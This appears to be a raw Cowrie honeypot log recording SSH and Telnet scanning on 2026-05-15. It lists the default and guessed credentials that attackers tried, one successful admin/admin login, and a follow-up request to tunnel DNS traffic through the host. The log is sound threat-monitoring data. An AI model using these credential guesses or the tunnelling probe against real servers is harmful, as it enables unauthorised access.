{"eventid":"cowrie.session.connect","src_ip":"91.230.168.108","src_port":40979,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5f8a1d8d8ee","protocol":"telnet","message":"New connection: 91.230.168.108:40979 (159.203.135.109:23) [session: e5f8a1d8d8ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:37.606905Z"}
{"eventid":"cowrie.session.closed","duration":0.006072282791137695,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:37.612852Z","src_ip":"91.230.168.108","session":"e5f8a1d8d8ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.203","src_port":37179,"dst_ip":"159.203.135.109","dst_port":23,"session":"487fd812b224","protocol":"telnet","message":"New connection: 91.230.168.203:37179 (159.203.135.109:23) [session: 487fd812b224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:37.757013Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":47382,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9f8362a2bc3","protocol":"ssh","message":"New connection: 186.116.56.108:47382 (159.203.135.109:22) [session: f9f8362a2bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:37.799086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:37.803678Z","src_ip":"186.116.56.108","session":"f9f8362a2bc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:37.898044Z","src_ip":"186.116.56.108","session":"f9f8362a2bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root3306","message":"login attempt [root/root3306] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:38.309200Z","src_ip":"186.116.56.108","session":"f9f8362a2bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:39.406980Z","src_ip":"186.116.56.108","session":"f9f8362a2bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.004707098007202,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:43:40.761580Z","src_ip":"91.230.168.203","session":"487fd812b224","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.109.219.135","src_port":57054,"dst_ip":"10.17.0.5","dst_port":22,"session":"c96392aeec8d","protocol":"ssh","message":"New connection: 101.109.219.135:57054 (10.17.0.5:22) [session: c96392aeec8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:11.646239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:11.651143Z","src_ip":"101.109.219.135","session":"c96392aeec8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:11.907457Z","src_ip":"101.109.219.135","session":"c96392aeec8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tcm2005","message":"login attempt [root/tcm2005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:12.960526Z","src_ip":"101.109.219.135","session":"c96392aeec8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:14.222780Z","src_ip":"101.109.219.135","session":"c96392aeec8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32720,"dst_ip":"10.17.0.5","dst_port":22,"session":"924fa492b2f3","protocol":"ssh","message":"New connection: 87.251.64.176:32720 (10.17.0.5:22) [session: 924fa492b2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:19.412205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:19.416866Z","src_ip":"87.251.64.176","session":"924fa492b2f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:19.513016Z","src_ip":"87.251.64.176","session":"924fa492b2f3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:19.805048Z","src_ip":"87.251.64.176","session":"924fa492b2f3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:19.904383Z","session":"924fa492b2f3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:20.001675Z","src_ip":"87.251.64.176","session":"924fa492b2f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:20.234029Z","src_ip":"87.251.64.176","session":"924fa492b2f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":35026,"dst_ip":"159.203.135.109","dst_port":22,"session":"34f709d021a1","protocol":"ssh","message":"New connection: 202.29.225.206:35026 (159.203.135.109:22) [session: 34f709d021a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:33.090211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:33.094208Z","src_ip":"202.29.225.206","session":"34f709d021a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:33.339231Z","src_ip":"202.29.225.206","session":"34f709d021a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root3306","message":"login attempt [root/root3306] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:34.349365Z","src_ip":"202.29.225.206","session":"34f709d021a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:35.594756Z","src_ip":"202.29.225.206","session":"34f709d021a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":46190,"dst_ip":"159.203.135.109","dst_port":22,"session":"b230e8c33479","protocol":"ssh","message":"New connection: 186.116.56.108:46190 (159.203.135.109:22) [session: b230e8c33479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:57.018823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:57.022657Z","src_ip":"186.116.56.108","session":"b230e8c33479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:57.116548Z","src_ip":"186.116.56.108","session":"b230e8c33479","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:57.522533Z","src_ip":"186.116.56.108","session":"b230e8c33479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:44:58.620528Z","src_ip":"186.116.56.108","session":"b230e8c33479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":17637,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6d97364a0cb","protocol":"ssh","message":"New connection: 2.57.121.112:17637 (10.17.0.5:22) [session: b6d97364a0cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:45:37.173804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:45:37.179021Z","src_ip":"2.57.121.112","session":"b6d97364a0cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:45:37.280787Z","src_ip":"2.57.121.112","session":"b6d97364a0cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dlanod","message":"login attempt [admin/dlanod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:45:37.764826Z","src_ip":"2.57.121.112","session":"b6d97364a0cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"djkrjlfd","message":"login attempt [admin/djkrjlfd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:45:38.872643Z","src_ip":"2.57.121.112","session":"b6d97364a0cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"djghjc","message":"login attempt [admin/djghjc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:45:39.977160Z","src_ip":"2.57.121.112","session":"b6d97364a0cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"djembe","message":"login attempt [admin/djembe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:45:41.104252Z","src_ip":"2.57.121.112","session":"b6d97364a0cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dirtyd","message":"login attempt [admin/dirtyd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:45:42.209242Z","src_ip":"2.57.121.112","session":"b6d97364a0cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:45:43.315133Z","src_ip":"2.57.121.112","session":"b6d97364a0cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.20.206","src_port":46552,"dst_ip":"159.203.135.109","dst_port":23,"session":"497e6025ebde","protocol":"telnet","message":"New connection: 31.134.20.206:46552 (159.203.135.109:23) [session: 497e6025ebde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:45:48.285127Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":46424,"dst_ip":"159.203.135.109","dst_port":22,"session":"7158598fc566","protocol":"ssh","message":"New connection: 202.29.225.206:46424 (159.203.135.109:22) [session: 7158598fc566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:45:48.846993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:45:48.851755Z","src_ip":"202.29.225.206","session":"7158598fc566","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:45:49.099978Z","src_ip":"202.29.225.206","session":"7158598fc566","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:45:50.101752Z","src_ip":"202.29.225.206","session":"7158598fc566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:45:51.350657Z","src_ip":"202.29.225.206","session":"7158598fc566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.20.206","src_port":46716,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb9354a423cd","protocol":"telnet","message":"New connection: 31.134.20.206:46716 (159.203.135.109:23) [session: cb9354a423cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:45:53.685964Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.109.219.135","src_port":48898,"dst_ip":"10.17.0.5","dst_port":22,"session":"68ab906a5e6a","protocol":"ssh","message":"New connection: 101.109.219.135:48898 (10.17.0.5:22) [session: 68ab906a5e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:00.212437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:46:00.217504Z","src_ip":"101.109.219.135","session":"68ab906a5e6a","protocol":"ssh"}
